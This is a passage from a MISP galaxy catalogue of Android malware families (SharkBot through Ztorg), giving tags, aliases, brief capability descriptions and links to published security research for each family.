<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.sharkbot">https://malpedia.caad.fkie.fraunhofer.de/details/apk.sharkbot</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/">https://research.nccgroup.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/">https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/</a></td>
</tr>
<tr>
<td><a href="https://blog.fox-it.com/2022/09/02/sharkbot-is-back-in-google-play/">https://blog.fox-it.com/2022/09/02/sharkbot-is-back-in-google-play/</a></td>
</tr>
<tr>
<td><a href="https://muha2xmad.github.io/malware-analysis/sharkbot/">https://muha2xmad.github.io/malware-analysis/sharkbot/</a></td>
</tr>
<tr>
<td><a href="https://bin.re/blog/the-dgas-of-sharkbot/">https://bin.re/blog/the-dgas-of-sharkbot/</a></td>
</tr>
<tr>
<td><a href="https://blog.fox-it.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/">https://blog.fox-it.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/</a></td>
</tr>
</tbody>
</table>

SideWinder (Android)

SideWinder involved a fake VPN app for Android devices published on Google Play Store along with a custom tool that filters victims for better targeting.

The tag is: *misp-galaxy:malpedia*="SideWinder (Android)"

SideWinder (Android) is also known as:

Table 1790. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.sidewinder">https://malpedia.caad.fkie.fraunhofer.de/details/apk.sidewinder</a></td>
</tr>
<tr>
<td><a href="https://www.group-ib.com/blog/hunting-sidewinder/">https://www.group-ib.com/blog/hunting-sidewinder/</a></td>
</tr>
</tbody>
</table>

SilkBean

The tag is: *misp-galaxy:malpedia*="SilkBean"

SilkBean is also known as:

Table 1791. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.silkbean">https://malpedia.caad.fkie.fraunhofer.de/details/apk.silkbean</a></td>
</tr>
</tbody>
</table>
Skygofree

The tag is: `misp-galaxy:malpedia="Skygofree"`

Skygofree is also known as:

Table 1792. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.skygofree">https://malpedia.caad.fkie.fraunhofer.de/details/apk.skygofree</a></td>
</tr>
</tbody>
</table>

Slempo

The tag is: `misp-galaxy:malpedia="Slempo"`

Slempo is also known as:

- SlemBunk

Table 1793. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.slempo">https://malpedia.caad.fkie.fraunhofer.de/details/apk.slempo</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html">https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html</a></td>
</tr>
</tbody>
</table>

Slocker

The tag is: `misp-galaxy:malpedia="Slocker"`

Slocker is also known as:

Table 1794. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.slocker">https://malpedia.caad.fkie.fraunhofer.de/details/apk.slocker</a></td>
</tr>
</tbody>
</table>
**SmsAgent**

The tag is: `misp-galaxy:malpedia="SmsAgent"`

SmsAgent is also known as:

Table 1795. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.smsagent">https://malpedia.caad.fkie.fraunhofer.de/details/apk.smsagent</a></td>
</tr>
<tr>
<td><a href="https://blog.alyac.co.kr/2128">https://blog.alyac.co.kr/2128</a></td>
</tr>
</tbody>
</table>

**SMSspy**

The tag is: `misp-galaxy:malpedia="SMSspy"`

SMSspy is also known as:

Table 1796. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.smsspy">https://malpedia.caad.fkie.fraunhofer.de/details/apk.smsspy</a></td>
</tr>
</tbody>
</table>

**S.O.V.A.**

The tag is: `misp-galaxy:malpedia="S.O.V.A."`

S.O.V.A. is also known as:

Table 1797. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.sova">https://malpedia.caad.fkie.fraunhofer.de/details/apk.sova</a></td>
</tr>
<tr>
<td><a href="https://muha2xmad.github.io/malware-analysis/sova/">https://muha2xmad.github.io/malware-analysis/sova/</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2021/09/14/deep-dive-analysis-of-s-o-v-a-android-banking-trojan/">https://blog.cyble.com/2021/09/14/deep-dive-analysis-of-s-o-v-a-android-banking-trojan/</a></td>
</tr>
<tr>
<td><a href="https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly">https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly</a></td>
</tr>
</tbody>
</table>
SpyBanker
The tag is: misp-galaxy:malpedia="SpyBanker"

SpyBanker is also known as:

Table 1798. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.spybanker">https://malpedia.caad.fkie.fraunhofer.de/details/apk.spybanker</a></td>
</tr>
<tr>
<td><a href="https://news.drweb.com/show/?i=11104&amp;lng=en">https://news.drweb.com/show/?i=11104&amp;lng=en</a></td>
</tr>
</tbody>
</table>

SpyC23
The tag is: misp-galaxy:malpedia="SpyC23"

SpyC23 is also known as:

Table 1799. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.spyc23">https://malpedia.caad.fkie.fraunhofer.de/details/apk.spyc23</a></td>
</tr>
</tbody>
</table>

SpyMax
SpyMax is a popular Android surveillance tool. Its predecessor, SpyNote, was one of the most widely used spyware frameworks.

The tag is: misp-galaxy:malpedia="SpyMax"

SpyMax is also known as:

Table 1800. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.spymax">https://malpedia.caad.fkie.fraunhofer.de/details/apk.spymax</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1250412485808717826">https://twitter.com/malwrhunterteam/status/1250412485808717826</a></td>
</tr>
<tr>
<td><a href="https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions">https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions</a></td>
</tr>
<tr>
<td><a href="https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset">https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset</a></td>
</tr>
</tbody>
</table>
SpyNote

The malware has been released on github at https://github.com/EVLF/Cypher-Rat-Source-Code

The tag is: misp-galaxy:malpedia="SpyNote"

SpyNote is also known as:

- CypherRat

Table 1801. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.spynote">https://malpedia.caad.fkie.fraunhofer.de/details/apk.spynote</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/mstwBMks0G3Et4G0ji2mwA">https://mp.weixin.qq.com/s/mstwBMks0G3Et4G0ji2mwA</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/j_A12SOX0k5TOYFAegBV_w">https://mp.weixin.qq.com/s/j_A12SOX0k5TOYFAegBV_w</a></td>
</tr>
<tr>
<td><a href="https://www.cleafy.com/cleafy-labs/spynote-continues-to-attack-financial-institutions">https://www.cleafy.com/cleafy-labs/spynote-continues-to-attack-financial-institutions</a></td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/index.php/spynote-targets-irctc-users/">https://labs.k7computing.com/index.php/spynote-targets-irctc-users/</a></td>
</tr>
<tr>
<td><a href="https://docs.google.com/document/d/1oYX3uN6KxIX_StrzTH0s0yFNNoHDnV8gmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr">https://docs.google.com/document/d/1oYX3uN6KxIX_StrzTH0s0yFNNoHDnV8gmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr</a></td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/index.php/spynote-an-android-snooper/">https://labs.k7computing.com/index.php/spynote-an-android-snooper/</a></td>
</tr>
<tr>
<td><a href="https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions">https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions</a></td>
</tr>
<tr>
<td><a href="https://bulldogjob.pl/articles/1200-an-in-depth-analysis-of-spynote-remote-access-trojan">https://bulldogjob.pl/articles/1200-an-in-depth-analysis-of-spynote-remote-access-trojan</a></td>
</tr>
</tbody>
</table>

StealthAgent

The tag is: misp-galaxy:malpedia="StealthAgent"

StealthAgent is also known as:

Table 1802. Table References
Stealth Mango

The tag is: `misp-galaxy:malpedia="Stealth Mango"`

Stealth Mango is also known as:

Table 1803. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/apk.stealthagent
- https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF

Svpeng

The tag is: `misp-galaxy:malpedia="Svpeng"`

Svpeng is also known as:

Table 1804. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/apk.svpeng

Switcher

The tag is: `misp-galaxy:malpedia="Switcher"`

Switcher is also known as:

Table 1805. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/apk.switcher

TalentRAT

The tag is: `misp-galaxy:malpedia="TalentRAT"`
TalentRAT is also known as:

- Assassin RAT

**Table 1806. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.talent_rat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.talent_rat</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/LukasStefanko/status/1118066622512738304">https://twitter.com/LukasStefanko/status/1118066622512738304</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/platinum-terminal">https://www.secureworks.com/research/threat-profiles/platinum-terminal</a></td>
</tr>
</tbody>
</table>

**TangleBot**

The tag is: *misp-galaxy:malpedia* = "TangleBot"

TangleBot is also known as:

**Table 1807. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.tangle_bot">https://malpedia.caad.fkie.fraunhofer.de/details/apk.tangle_bot</a></td>
</tr>
</tbody>
</table>

**TeleRAT**

The tag is: *misp-galaxy:malpedia* = "TeleRAT"

TeleRAT is also known as:

**Table 1808. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.telerat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.telerat</a></td>
</tr>
</tbody>
</table>

**TemptingCedar Spyware**

The tag is: *misp-galaxy:malpedia* = "TemptingCedar Spyware"

TemptingCedar Spyware is also known as:

**Table 1809. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.tempting_cedar">https://malpedia.caad.fkie.fraunhofer.de/details/apk.tempting_cedar</a></td>
</tr>
<tr>
<td><a href="https://blog.avast.com/avast-tracks-down-tempting-cedar-spyware">https://blog.avast.com/avast-tracks-down-tempting-cedar-spyware</a></td>
</tr>
</tbody>
</table>
ThiefBot

The tag is: *misp-galaxy:malpedia="ThiefBot"

ThiefBot is also known as:

Table 1810. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.thiefbot">https://malpedia.caad.fkie.fraunhofer.de/details/apk.thiefbot</a></td>
</tr>
</tbody>
</table>

TianySpy

According to Trend Micro, this malware appears to have been designed to steal credentials associated with membership websites of major Japanese telecommunication services.

The tag is: *misp-galaxy:malpedia="TianySpy"

TianySpy is also known as:

Table 1811. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.tianyspy">https://malpedia.caad.fkie.fraunhofer.de/details/apk.tianyspy</a></td>
</tr>
</tbody>
</table>

TinyZ

The tag is: *misp-galaxy:malpedia="TinyZ"

TinyZ is also known as:

- Catelites Android Bot
- MarsElite Android Bot

Table 1812. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.tinyz">https://malpedia.caad.fkie.fraunhofer.de/details/apk.tinyz</a></td>
</tr>
<tr>
<td><a href="http://blog.group-ib.com/cron">http://blog.group-ib.com/cron</a></td>
</tr>
</tbody>
</table>

Titan

The tag is: *misp-galaxy:malpedia="Titan"
Titan is also known as:

Table 1813. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.titan">https://malpedia.caad.fkie.fraunhofer.de/details/apk.titan</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/titan-mobile-threat">https://blog.lookout.com/titan-mobile-threat</a></td>
</tr>
<tr>
<td><a href="https://www.alienvault.com/blogs/labs-research/delivery-keyboy">https://www.alienvault.com/blogs/labs-research/delivery-keyboy</a></td>
</tr>
</tbody>
</table>

Triada

The tag is: `misp-galaxy:malpedia="Triada"`

Triada is also known as:

Table 1814. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.triada">https://malpedia.caad.fkie.fraunhofer.de/details/apk.triada</a></td>
</tr>
<tr>
<td><a href="http://contagiominidump.blogspot.de/2016/07/android-triada-modular-trojan.html">http://contagiominidump.blogspot.de/2016/07/android-triada-modular-trojan.html</a></td>
</tr>
<tr>
<td><a href="https://security.googleblog.com/2019/06/pha-family-highlights-triada.html">https://security.googleblog.com/2019/06/pha-family-highlights-triada.html</a></td>
</tr>
<tr>
<td><a href="https://blog.checkpoint.com/2016/06/17/in-the-wild-mobile-malware-implements-new-features/">https://blog.checkpoint.com/2016/06/17/in-the-wild-mobile-malware-implements-new-features/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/apkpure-android-app-store-infected/101845/">https://securelist.com/apkpure-android-app-store-infected/101845/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/">https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/</a></td>
</tr>
</tbody>
</table>

Triout

Bitdefender described Triout as an Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware’s surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.

The tag is: `misp-galaxy:malpedia="Triout"`

Triout is also known as:
**UltimaSMS**

The tag is: `misp-galaxy:malpedia="UltimaSMS"`

UltimaSMS is also known as:

**Unidentified APK 001**

The tag is: `misp-galaxy:malpedia="Unidentified APK 001"`

Unidentified APK 001 is also known as:

**Unidentified APK 002**

The tag is: `misp-galaxy:malpedia="Unidentified APK 002"`

Unidentified APK 002 is also known as:

**Unidentified APK 004**

According to Check Point Research, this is a RAT that is disguised as a set of dating apps like "GrixyApp", "ZatuApp", "Catch&See", including dedicated websites to conceal their malicious purpose.
The tag is: *misp-galaxy:malpedia*="Unidentified APK 004"

Unidentified APK 004 is also known as:

Table 1819. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_004">https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_004</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/hamas-android-malware-on-idf-soldiers-this-is-how-it-happened/">https://research.checkpoint.com/2020/hamas-android-malware-on-idf-soldiers-this-is-how-it-happened/</a></td>
</tr>
</tbody>
</table>

**Unidentified APK 006**

Information stealer posing as a fake banking app, targeting Korean users.

The tag is: *misp-galaxy:malpedia*="Unidentified APK 006"

Unidentified APK 006 is also known as:

Table 1820. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_006">https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_006</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MsftSecIntel/status/1441524497924833282?s=20">https://twitter.com/MsftSecIntel/status/1441524497924833282?s=20</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ReBensk/status/1438027183490940931">https://twitter.com/ReBensk/status/1438027183490940931</a></td>
</tr>
</tbody>
</table>

**Unidentified 007 (ARMAAN RAT)**

According to Cyble, this is an Android application that pretends to be the legitimate application for the Army Mobile Aadhaar App Network (ARMAAN), intended to be used by Indian army personnel. The application was customized to include RAT functionality.

The tag is: *misp-galaxy:malpedia*="Unidentified 007 (ARMAAN RAT)"

Unidentified 007 (ARMAAN RAT) is also known as:

Table 1821. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_007">https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_007</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/01/28/indian-army-personnel-face-remote-access-trojan-attacks/">https://blog.cyble.com/2022/01/28/indian-army-personnel-face-remote-access-trojan-attacks/</a></td>
</tr>
</tbody>
</table>
Unidentified APK 008

Android malware distributed through fake shopping websites targeting Malaysian users, targeting banking information.

The tag is: misp-galaxy:malpedia="Unidentified APK 008"

Unidentified APK 008 is also known as:

Table 1822. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_008">https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_008</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2022/04/06/fake-eshops-prowl-banking-credentials-android-malware/">https://www.welivesecurity.com/2022/04/06/fake-eshops-prowl-banking-credentials-android-malware/</a></td>
</tr>
</tbody>
</table>

VajraSpy

The tag is: misp-galaxy:malpedia="VajraSpy"

VajraSpy is also known as:

Table 1823. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.vajraspy">https://malpedia.caad.fkie.fraunhofer.de/details/apk.vajraspy</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww">https://mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1481312752782258176">https://twitter.com/malwrhunterteam/status/1481312752782258176</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/LukasStefanko/status/1509451238366236674">https://twitter.com/LukasStefanko/status/1509451238366236674</a></td>
</tr>
</tbody>
</table>

vamp

Related to the micropsia windows malware and also sometimes named micropsia.

The tag is: misp-galaxy:malpedia="vamp"

vamp is also known as:

• android.micropsia

Table 1824. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.vamp">https://malpedia.caad.fkie.fraunhofer.de/details/apk.vamp</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/">https://unit42.paloaltonetworks.com/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/</a></td>
</tr>
</tbody>
</table>
**VINETHORN**

According to Mandiant, VINETHORN is an Android malware family capable of a wide range of backdoor functionality. It can steal system information, read SMS inboxes, send SMS messages, access contact lists and call histories, record audio and video, and track device location via GPS.

The tag is: `misp-galaxy:malpedia="VINETHORN"`

VINETHORN is also known as:

*Table 1825. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.vinethorn">https://malpedia.caad.fkie.fraunhofer.de/details/apk.vinethorn</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/media/17826">https://www.mandiant.com/media/17826</a></td>
</tr>
</tbody>
</table>

**Viper RAT**

The tag is: `misp-galaxy:malpedia="Viper RAT"`

Viper RAT is also known as:

*Table 1826. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.viper_rat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.viper_rat</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/">https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/</a></td>
</tr>
</tbody>
</table>

**Vultur**

The tag is: `misp-galaxy:malpedia="Vultur"`

Vultur is also known as:

- Vulture

*Table 1827. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.vultur">https://malpedia.caad.fkie.fraunhofer.de/details/apk.vultur</a></td>
</tr>
<tr>
<td><a href="https://www.cleafy.com/cleafy-labs/the-android-malwares-journey-from-google-play-to-banking-fraud">https://www.cleafy.com/cleafy-labs/the-android-malwares-journey-from-google-play-to-banking-fraud</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/icebre4ker/status/1485651238175846400">https://twitter.com/icebre4ker/status/1485651238175846400</a></td>
</tr>
</tbody>
</table>
WireX

The tag is: misp-galaxy:malpedia="WireX"

WireX is also known as:

Table 1828. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.wirex">https://malpedia.caad.fkie.fraunhofer.de/details/apk.wirex</a></td>
</tr>
<tr>
<td><a href="https://www.flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/">https://www.flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/</a></td>
</tr>
</tbody>
</table>

WolfRAT

The tag is: misp-galaxy:malpedia="WolfRAT"

WolfRAT is also known as:

Table 1829. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.wolf_rat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.wolf_rat</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2020/05/the-wolf-is-back.html">https://blog.talosintelligence.com/2020/05/the-wolf-is-back.html</a></td>
</tr>
</tbody>
</table>

Wroba

According to Avira, this is a banking trojan targeting Japan.

The tag is: misp-galaxy:malpedia="Wroba"

Wroba is also known as:

Table 1830. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.wroba">https://malpedia.caad.fkie.fraunhofer.de/details/apk.wroba</a></td>
</tr>
</tbody>
</table>
WyrmSpy

The tag is: misp-galaxy:malpedia="WyrmSpy"

WyrmSpy is also known as:

- AndroidControl

Table 1831. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.wyrmspy">https://malpedia.caad.fkie.fraunhofer.de/details/apk.wyrmspy</a></td>
</tr>
<tr>
<td><a href="https://www.lookout.com/threat-intelligence/article/wyrmspy-dragonegg-surveillanceware-apt41">https://www.lookout.com/threat-intelligence/article/wyrmspy-dragonegg-surveillanceware-apt41</a></td>
</tr>
<tr>
<td><a href="https://www.threatfabric.com/blogs/lightspy-mapt-mobile-payment-system-attack">https://www.threatfabric.com/blogs/lightspy-mapt-mobile-payment-system-attack</a></td>
</tr>
</tbody>
</table>

Xbot

The tag is: misp-galaxy:malpedia="Xbot"

Xbot is also known as:

Table 1832. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.xbot">https://malpedia.caad.fkie.fraunhofer.de/details/apk.xbot</a></td>
</tr>
</tbody>
</table>

Xenomorph

Xenomorph is a Android Banking RAT developed by the Hadoken.Security actor.

The tag is: misp-galaxy:malpedia="Xenomorph"

Xenomorph is also known as:

Table 1833. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.xenomorph">https://malpedia.caad.fkie.fraunhofer.de/details/apk.xenomorph</a></td>
</tr>
</tbody>
</table>
xHelper
The tag is: misp-galaxy:malpedia=“xHelper”
xHelper is also known as:

Table 1834. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.xhelper">https://malpedia.caad.fkie.fraunhofer.de/details/apk.xhelper</a></td>
</tr>
</tbody>
</table>

XploitSPY
The tag is: misp-galaxy:malpedia=“XploitSPY”
XploitSPY is also known as:

Table 1835. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.xploitspy">https://malpedia.caad.fkie.fraunhofer.de/details/apk.xploitspy</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1249768400806653952">https://twitter.com/malwrhunterteam/status/1249768400806653952</a></td>
</tr>
</tbody>
</table>

XRat
The tag is: misp-galaxy:malpedia=“XRat”
XRat is also known as:

Table 1836. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.xrat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.xrat</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/xrat-mobile-threat">https://blog.lookout.com/xrat-mobile-threat</a></td>
</tr>
</tbody>
</table>
YellYouth

The tag is: `misp-galaxy:malpedia="YellYouth"`

YellYouth is also known as:

<table>
<thead>
<tr>
<th>Table 1837. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.yellyouth">https://malpedia.caad.fkie.fraunhofer.de/details/apk.yellyouth</a></td>
</tr>
<tr>
<td><a href="https://www.mulliner.org/blog/blosxom.cgi/security/yellyouth_android_malware.html">https://www.mulliner.org/blog/blosxom.cgi/security/yellyouth_android_malware.html</a></td>
</tr>
</tbody>
</table>

Zanubis

According to cyware, Zanubis malware pretends to be a malicious PDF application. The threat actor uses it as a key to decrypt responses received from the C2 server.

The tag is: `misp-galaxy:malpedia="Zanubis"`

Zanubis is also known as:

<table>
<thead>
<tr>
<th>Table 1838. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.zanubis">https://malpedia.caad.fkie.fraunhofer.de/details/apk.zanubis</a></td>
</tr>
</tbody>
</table>

Zen

The tag is: `misp-galaxy:malpedia="Zen"`

Zen is also known as:

<table>
<thead>
<tr>
<th>Table 1839. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.zen">https://malpedia.caad.fkie.fraunhofer.de/details/apk.zen</a></td>
</tr>
<tr>
<td><a href="https://security.googleblog.com/2019/01/pha-family-highlights-zen-and-its.html">https://security.googleblog.com/2019/01/pha-family-highlights-zen-and-its.html</a></td>
</tr>
</tbody>
</table>

ZooPark

The tag is: `misp-galaxy:malpedia="ZooPark"`

ZooPark is also known as:

<table>
<thead>
<tr>
<th>Table 1840. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.zen">https://malpedia.caad.fkie.fraunhofer.de/details/apk.zen</a></td>
</tr>
</tbody>
</table>
Ztorg

The tag is: `misp-galaxy:malpedia=“Ztorg”`

Ztorg is also known as:

- Qysly

Table 1841. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
